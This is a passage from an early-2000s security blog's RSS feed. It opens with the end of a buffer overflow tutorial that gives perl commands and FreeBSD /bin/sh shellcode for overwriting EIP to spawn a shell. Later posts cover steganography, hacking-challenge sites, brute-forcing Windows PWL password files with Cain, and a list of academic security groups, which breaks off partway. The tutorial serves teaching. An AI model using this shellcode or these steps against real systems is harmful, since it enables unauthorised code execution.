<p><code>// Choose it in a way that a) if you know the buffer size<br />
// try to make it twice as big or b) if you dont know<br />
// The buffer size , create a very big e.g. print "A"x"2000"</code></p>
<p>2) Send to &#8220;tool&#8221; data bigger than 10xchar = 80bytes.</p>
<p>It depends on the software you want to exploit  e.g</p>
<p>a) if tools take arguments from the command line like that : ./tool arg[0] arg[1] ..</p>
<p>We can pass our buffer doing that : ./tool $BUFFER</p>
<p>b) if tools take arguments like that : ./tool &lt; argument</p>
<p>We can do that : ./tools &lt; $BUFFER</p>
<p>Now you need to see the following error after executing the software, so you can be sure there is a buffer overflow on the spot :</p>
<p><code>[me@cipher]$ ./tool $BUFFER<br />
Segmentation Fault (Core Dump)<br />
</code><br />
Segmentation Fault means that we overflow the memory and we change the pointer.</p>
<p>If we look with GDB the registers, we will see that the EIP register is<br />
<strong>0&#215;41414141</strong>. (41 == A in hex.) which means that we change the CALL address to 0&#215;41414141.</p>
<p>If we could overflow &#8220;tool&#8221; with an address we load our software we can run whatever we wanted.</p>
<p>OK , its a bit difficult to know the address we load our code , so we load our BOF exploit using enviroment , we do that cause we know where the env variables start.</p>
<p>Lets say that the environment variable start at : 0xbffffb54</p>
<p>If we want to pass out code in the buffer of &#8220;tool&#8221; we need to overflow<br />
&#8220;tool&#8221; using 0xbffffb54 as argument.</p>
<p>so lets do that :<br />
<code>perl -e '{print "T���"x"20"}' &gt; BUFFER.txt //T��� is the representation of 0xbffffb54</code></p>
<p>if we do : ./tool &lt; BUFFER.txt , EIP will be 0xbffffb54  so we know it will<br />
execute our code.</p>
<p>lets load a SHELLCODE in the environment and do it all together :<br />
<code><br />
[me@cipher]$export BUFFER=`perl -e '{<br />
print "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50<br />
\x56\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff<br />
\x2f\x62\x69\x6e\x2f\x73\x68\x23"}'`</code></p>
<p><code> </code></p>
<p><code>[me@cipher]$perl -e '{print "T���"x"20"}' &gt; BUFFER.txt<br />
[me@cipher]$./tool &lt; BUFFER.txt<br />
$<br />
</code><br />
<a href="http://en.wikipedia.org/wiki/Shellcode">SHELLCODEs</a> are different for each OS and architecture. The one above is for FreeBSD.</p>
<h2>The BEST Tutorials in BOF</h2>
<p><a class="sitelink" href="http://www.cipherdotorgdotuk.files.wordpress.com/BOF/P49-4-Smashing_the_stack.txt">Smashing The Stack For Fun And Profit</a><br />
<a class="sitelink" href="http://www.cipherdotorgdotuk.files.wordpress.com/BOF/withperl.txt">BOF with PERL </a><br />
<a class="sitelink" href="http://www.cipherdotorgdotuk.files.wordpress.com/BOF/nate-buffer.txt">Stack Smashing Vulnerabilities</a><br />
<a class="sitelink" href="http://www.cipherdotorgdotuk.files.wordpress.com/BOF/l0pht-howtowrite-bof.htm">l0pht</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/12/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/12/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/12/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/12/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/12/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=12&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2003/08/12/buffer-overflows-tutorial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>The art of Steganography</title>
		<link>http://cipher.org.uk/2003/02/10/the-art-of-steganography/</link>
		<comments>http://cipher.org.uk/2003/02/10/the-art-of-steganography/#comments</comments>
		<pubDate>Mon, 10 Feb 2003 19:42:30 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[information hiding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[steganography]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2003/02/10/the-art-of-steganography/</guid>
		<description><![CDATA[Steganography comes from the combination of greek words Stagano (sealed) and graphy (writting) and it is self explanatory. The most famouse ancient example of this techinque is the following : &#8220;When the Greek tyrant Histiaeus was held as a virtual prisoner of king Darius in Susa in the 5th century BCE, he had to send [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=14&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Steganography comes from the combination of greek words Stagano (sealed) and graphy (writting) and it is self  explanatory.   The most famouse ancient example of this techinque is the following :</p>
<p><em>&#8220;When the Greek tyrant Histiaeus was held as a virtual  prisoner of king Darius in Susa in the 5th century BCE,  he had to send a secret message to his son-in-law Aristagoras  to the Anatolian city of Miletus. Histiaeus shaved the head  of a slave and tattooed a message on his scalp. When the  slave&#8217;s hair had grown long enough he was dispatched to  Miletus. That&#8217;s how Herodotus describes one of the first  cases of using steganography in the ancient world, the  art of covered writing.&#8221;</em></p>
<p>You have to remember that Steganography created not to  replace Cryptography but to co-operate with it. Cryptograpghy can scramble a message and create a Pseudo-random sequence of characters or bytes, but steganography is used to hide the existance of a message into another message or host object. A combination of both can create a not vissible secure communication  channel.<br />
<img class="alignnone size-full wp-image-283" title="stegoimage1" src="http://cipherdotorgdotuk.files.wordpress.com/2003/02/stegoimage1.jpg?w=720" alt="stegoimage1"   /><br />
Information technology world and the internet can really help a communication  via Steganography. Many diferrent file formats , protocols and million of texts can be used to hide information between two or more parties using a public communication channel, email e.t.c. In one of Fravia&#8217;s[1] Texts related to steganography he states that it is better to store/hide important data into public places instead of your personal PC because it is more likely that  public places are better maintained and second you can access it from anywhere in the world. In order to have a better understanding of how you can use this kind of technology I&#8217;ll  give a real life example.</p>
<p>Let say that you have many passwords and you want to store them somewhere secure and not visible , so your password list wont even be a subject of attack.</p>
<p>Take a picture using your digital camera (I&#8217;ll tell you why use a picture of yours and not  a public one later). After that download one of many free/public programs on steganography (e.g. JPHide) and store your informations inside the host image. Now put this image somewhere on the web (your website , your online photo album , even into an ebay advert). After you&#8217;ve  done that you can access your password list wherever you are without anyone knows its existance.</p>
<p>Previously I stated that you need to use a brand new picture, this is because you can avoid Hash  attacks. If you use a someone&#8217;s else picture or a famous picture (like a Dali painting) some can take your picture and create a Hash, then take the original picture and create another hash , if the two hases don&#8217;t match it means that yours is changed somehow so ppl can understand that there is a hidden informaiton isnide.</p>
<p>I think you can have an idea on how Steganography can be used , take the previous example and apply to diferrent scenarios (ppl can exchange  innocent images or sound files but in reality the communicate using covert channels of these media)</p>
<p><strong>Covert Channel</strong></p>
<p><strong> </strong> In order to hide something inside another object and make it invisible, we have to  use some unused space inside the host file. For example if we want to store data inside an image using the simple technique called  LSB we use the least significant bit of each pixel in one color band or in all the color bands (RGD &#8211; Red Green Blue).Least significant bit do not have a big effect on the image so even if we change them it is not possible to view a diferrence.</p>
<p>We can even use other domains of a host file , we can transform an image into the frequency  domain and hide our information into the unused frequency transformed data. The last technique is used in order to hide information in compressed media (e.g. JPG Images)</p>
<p>Where we can hide data (General overview) Inside unused space in sound files  <a href="http://www.cl.cam.ac.uk/%7Efapp2/steganography/mp3stego/">mp3Stego</a></p>
<ul>
<li> Inside unused space in image files  <a href="http://linux01.gwdg.de/%7Ealatham/stego.html">JP Hide and Seek </a></li>
<li> In video files (Inside deferrent frames , same as image techinques)</li>
<li> Inside TCP/IP unused headers</li>
<li> Inside/Between File System GAPS</li>
<li> Inside Executables</li>
<li> Inside &#8220;Fake Spam&#8221; emails <a href="http://www.spammimic.com/">Spam Mimic</a></li>
<li> Inside White spaces in Text files  <a href="http://www.darkside.com.au/snow/index.html">Snow</a></li>
</ul>
<p>One of my favorite ways of Text steganography is using specified letters  from words in order to reconstruct a message. Example : Cybernetic Individual Programmed for Hazardous Exploration and Repair take the first letter of each word and you create the word cipher.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/14/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/14/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/14/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/14/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/14/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=14&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2003/02/10/the-art-of-steganography/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>

		<media:content url="http://cipherdotorgdotuk.files.wordpress.com/2003/02/stegoimage1.jpg" medium="image">
			<media:title type="html">stegoimage1</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking Challenges</title>
		<link>http://cipher.org.uk/2002/09/20/hacking-challenges/</link>
		<comments>http://cipher.org.uk/2002/09/20/hacking-challenges/#comments</comments>
		<pubDate>Fri, 20 Sep 2002 10:21:28 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2002/09/20/hacking-challenges/</guid>
		<description><![CDATA[Hacking challenge is a new era of MIND PUZZLES that computer people and not only, like. There are many of them around, some of them very simple and some of them very tricky. Some of them exist for years with 1000s of players forming a society of people with related interests and some other are [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=20&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p> Hacking challenge is a new era of MIND PUZZLES that computer people  and not only, like. There are many of them around, some of them  very simple and some of them very tricky.</p>
<p>Some of them exist for years with 1000s of players forming a society of people with related interests and some other are very new formed by friends.</p>
<p>This kind of puzzle is 100% related with security and people who create them  try to cover as many aspects as they can from this tricky area.</p>
<p>Network Security ,Computer Security, Cryptography, Steganography everything  you could possibly imagine.</p>
<p>One of the most famous challenge creator was Fravia and his students , Fravia  and his Reverse Engineering school introduced the reverser&#8217;s challenge, (http://www.fravia.com), at which people were learning how to reverse engineer applications on real challenges.</p>
<p>Another challenge was the one that Cyberarmy created, in which thousands of  people participated. Using an army hierarchy model, users depended on their ability  to climb up the ranking board. Although cyberarmy isn&#8217;t just a competition arena ,  the people who created it they had in mind something like a computer cyber society  which have as main role to spread knowledge and help people learn. The famous red library  (http://library.readyresponse.org) created by the Ready Response Team  (http://www.readyresponse.org/). There are several groups in there , like the  special operations group etc.(http://www.cyberarmy.com/)</p>
<p>Another hacking challenge that is very famous is mod-x (mod-x.co.uk) created  by wang. This challenge is also a big society of people trying to compete in  9 levels (at this point and probably more in the future) world. They start from  very easy and they are going up to some level of difficulty.   If you are ready to spend some brain waking hours (and I am talking about hours!) try any of the following and DO NOT CHEAT! :</p>
<ul>
<li><a href="http://www.mod-x.co.uk/">mod-x</a></li>
<li><a href="http://www.hackthissite.org/">hackthissite</a></li>
<li><a href="http://www.ngsec.com/">ngsec</a></li>
<li><a href="http://www.try2hack.nl/">try2hack</a></li>
<li><a href="http://www.hackerslab.org/">hackerslab</a></li>
<li><a href="http://www.slyfx.com/">slyfx</a></li>
<li><a href="http://hackme.elderson.net/">hackme.elderson</a></li>
<li><a href="http://mindlock.bestweb.net/join.php">mindlock</a></li>
<li><a href="http://www.cyberarmy.com/zebulun/">cyberarmy</a></li>
<li><a href="http://www.roothack.org/">roothack</a></li>
<li><a href="http://hack.datafort.net/">hack.datafort</a></li>
<li><a href="http://hacknull.com/">hacknull</a></li>
<li><a href="http://wargames.unix.se/">wargames</a></li>
<li><a href="http://www.osix.net/">osix</a></li>
<li><a href="http://www.h4ckerx.ne/">h4ckerx</a></li>
<li><a href="http://www.bright-shadows.net/">bright-shadows</a></li>
<li><a href="http://www.0penhack.com/">0penhack</a></li>
<li><a href="http://scifi.pages.at/hackits/">hackits</a></li>
<li><a href="http://lightning.prohosting.com/%7Ethegame/">thegame</a></li>
<li><a href="http://www.hackquest.de/">hackquest</a></li>
<li><a href="http://bigcontest.securityhack.net/">bigcontest.securityhack</a></li>
<li><a href="http://www.hackerss.com/">hackerss</a></li>
<li><a href="http://www.izhal.com/">izhal</a></li>
<li><a href="http://www.boinasnegras.com/">boinasnegras</a></li>
<li><a href="http://www.hack4u.nl/">hack4u</a></li>
</ul>
<p>and many many more at : <a href="http://hackergames.net/">http://hackergames.net</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/20/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/20/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/20/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=20&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2002/09/20/hacking-challenges/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Recover win passwords</title>
		<link>http://cipher.org.uk/2002/01/14/recover-win-passwords/</link>
		<comments>http://cipher.org.uk/2002/01/14/recover-win-passwords/#comments</comments>
		<pubDate>Mon, 14 Jan 2002 01:24:21 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[password recovery]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2002/01/14/recover-win-passwords/</guid>
		<description><![CDATA[I am sure that your memory can some times overflow and you suddenly forget your windows password or your Dial-Up connection password. There is a solution for this problem but you need to gain some knowledge in order to recover it. Your passwords are stored inside your Windows directory and their extension called PWL. You [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=17&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I am sure that your memory can some times overflow and you suddenly forget your windows password or your Dial-Up connection password. There is a solution for this problem but you need to gain some knowledge in order to recover it. </p>
<p>Your passwords are stored inside your Windows directory and their extension called PWL. You can find it now , go to your Windows directory and press F3 , type in the search term -&gt; *.pwl  and you will see a list of files coming up. Your will realize that this files or file is having as filename your username or your computer&#8217;s name. &#8220;That was it.. &#8221; you found where your passwords stored.</p>
<p>PWL files use RC4 encryption with 128bit key , although RC4 is good encryption, it is not very difficult to decrypt the hidden info. RC4 is been used by SSL in order to have FASTER tunneling for your important info , but why Windows need to have fast encryption ? .. No reason ! .</p>
<p>As you see your password is encrypted but not ! safe enough.</p>
<p>Next step is to find a recovery tool which can brute force your PWL file and give you the forgotten password. Plenty of them are out there free for you to use , CAIN is one (Search google for that) . Download your recovery tool and add PWL file.</p>
<p>Notice that you need a Username in order to start the attack , if you remember your username add it , if you don&#8217;t ! no worries , just add as user name the filename , so for example if your PWL file is called : cipher.pwl , put as username &#8220;cipher&#8221; .</p>
<p>That&#8217;s it ,  start your attack and after some time (dependes on how difficult your password was) your will have your password back.</p>
<p>I hope this tutorial can put you out of trouble.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/cipherdotorgdotuk.wordpress.com/17/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/cipherdotorgdotuk.wordpress.com/17/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cipherdotorgdotuk.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cipherdotorgdotuk.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cipherdotorgdotuk.wordpress.com/17/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=17&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cipher.org.uk/2002/01/14/recover-win-passwords/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">EK</media:title>
		</media:content>
	</item>
		<item>
		<title>Computer Security Groups</title>
		<link>http://cipher.org.uk/2001/06/28/computer-security-groups/</link>
		<comments>http://cipher.org.uk/2001/06/28/computer-security-groups/#comments</comments>
		<pubDate>Thu, 28 Jun 2001 20:04:52 +0000</pubDate>
		<dc:creator>EK</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[academic]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.cipher.org.uk/2001/06/28/computer-security-groups/</guid>
		<description><![CDATA[Computer Security is without doubt one of the most important areas in Information Technology. IT&#8217;s main objective was to help us to doour wok faster , Internet&#8217;s main objective was to have access to information. But while the monster&#8217;s (INternet) growth was so fast no one was aware on how important will be to be [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cipher.org.uk&amp;blog=8616686&amp;post=23&amp;subd=cipherdotorgdotuk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span>Computer Security is without doubt one of the most     important areas in Information Technology. IT&#8217;s main objective was to help us to doour wok  faster , Internet&#8217;s main objective was to have access to     information. But while the monster&#8217;s (INternet)  growth was so fast no one was aware on how important will be to be safe inside this chaos.  This     situation is now visible to everyone since we trust no one and in the WEB. Many Academic and Commercial groups are now trying to create     standards  or to implement techniques which will protect everyone. But how can you protect users when you cannot control   their acts. </span></p>
<p><span>The race between private and public research can prove that people are trying to get involved. </span></p>
<p><span>Thats why I believe that at this time is a good idea to attend a     postgraduade or Undergraduate degree in this field.</span></p>
<p><span> IT Security can be splitted into two areas : Communication safety and Information Safety.  Before entering The IT Security world you need to     choose a team.  After doing that you have to choose your position inside these two directions , Security Expert or Illegal Security Expert . A real     life representation is be a police man or be a criminal ?   Although both of     these directions are challenging you need to have different characteristics to join them. </span></p>
<p><span>Security Expert :  Positives =&gt;  Access to     very expensive equipment   Negative =&gt; You don&#8217;t know your enemy&#8217;s techniques     or tools but he does know yours.</span></p>
<p><span>Illegal Security Expert : Positive =&gt; Freedom to act     / You know your victims tools    Negative =&gt; You have to do another job to feed your self and you do not have access to top level technology.</span></p>
<p>After making your mind about the above you can use the following Academic list of security groups in and choose which one of them better fits your needs.</p>
<p><span style="color:gray;"> </span></p>
<ul>
<li class="left"><strong>Australia</strong>
<ul>
<li class="left"><a class="sitelink" href="http://www.pscit.monash.edu.au/links/">Laboratory             for Information and Network Security</a> (Monash.Edu)</li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.cs.uow.edu.au/ccsr/">Centre for             Computer Security Research</a> (University of Wollongong) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.dstc.qut.edu.au/">Distributed             Systems Technology Centre</a> (QUT) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ics.mq.edu.au/acac/">Centre for             Advanced Computing &#8211; Algorithms and Cryptography</a> (Macquarie) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Austria</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.iaik.tu-graz.ac.at/">Graz             University of Technology</a> ( Institute for Applied Information Processing and             Communications) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.risc.uni-linz.ac.at/misc-info/crypto/crypto.html">Kryptographie in             �sterreich</a> (Linz) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Belgium</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.esat.kuleuven.ac.be/cosic/">COSIC</a> ( COmputer Security and Industrial Cryptography) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.dice.ucl.ac.be/crypto">UCL/DICE             Crypto Group</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.ulb.ac.be/di/scsi/">SCSI,             Brussels Free University</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Brazil</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.security.unicamp.br/">Equipe de             Seguran�a em Sistemas e Redes</a> (Universidade Estadual de Campinas) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Canada</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.iro.umontreal.ca/labs/theorique/en/">University of Montreal</a> </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.cacr.math.uwaterloo.ca/">Centre             For Applied Cryptographic Research</a> (University of Waterloo) </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://cacr.math.uwaterloo.ca/%7Eajmeneze/">Menezes</a> :<a class="sitelink" href="http://www.cacr.math.uwaterloo.ca/%7Edstinson/">Stinson</a> :<a class="sitelink" href="http://cacr.math.uwaterloo.ca/people/managing_board/vanstone.html">Vanstone</a> :<a class="sitelink" href="http://cacr.math.uwaterloo.ca/people/faculty/williams.html">Williams</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://adonis.ee.queensu.ca:8000/">Queen&#8217;s             Cryptography and Data Security Laboratory</a> (Queen&#8217;s University) </span></li>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://crypto.cs.mcgill.ca/">Crypto &amp;             Quantum Info Lab</a> (McGill) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>China</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.xidian.edu.cn/en/Institutes/ISPI.htm">Institute of Information Security             &amp; Privacy</a> (Xidian University) </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Croatia</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://pgp.rasip.fer.hr/">Cryptographic             Research Center, FER, Zagreb, Croatia</a> </span></li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Denmark</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.brics.dk/Activities/Cryptology/">Cryptology             Group</a> (BRICS, Aarhus) </span>
<ul><span style="color:gray;">:<a class="sitelink" href="http://www.brics.dk/%7Eivan/">Ivan Damg�rd</a> </span></p>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.brics.dk/%7Ecramer/">Ronald Cramer</a> </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>Finland</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.math.utu.fi/research/lab/">Laboratory             of Mathematics for Information Technology</a> (Univ of Turku) </span>
<ul><span style="color:gray;">:<a class="sitelink" href="http://www.math.utu.fi/staff/renvall.htm">Ari Renvall</a> </span></ul>
</li>
<li class="left"><span style="color:gray;"><strong>Helsinki University of Technology</strong> </span>
<ul>
<li class="left"><span style="color:gray;"><a class="sitelink" href="http://www.tcs.hut.fi/%7Ehelger">Helger Lipmaa</a> :<a class="sitelink" href="http://www.tcs.hut.fi/">/~mjos</a> (Markku-Juhani Saarinen) </span></li>
</ul>
</li>
</ul>
</li>
<li class="left"><span style="color:gray;"><strong>France</strong> </span>
<ul>
